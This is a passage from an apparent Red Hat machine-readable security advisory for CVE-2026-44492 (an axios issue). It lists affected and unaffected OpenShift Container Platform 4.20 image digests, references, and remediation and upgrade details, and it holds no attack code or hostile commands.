"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "RHBZ#2487938",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
}
],
"release_date": "2026-06-11T15:29:13.890000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
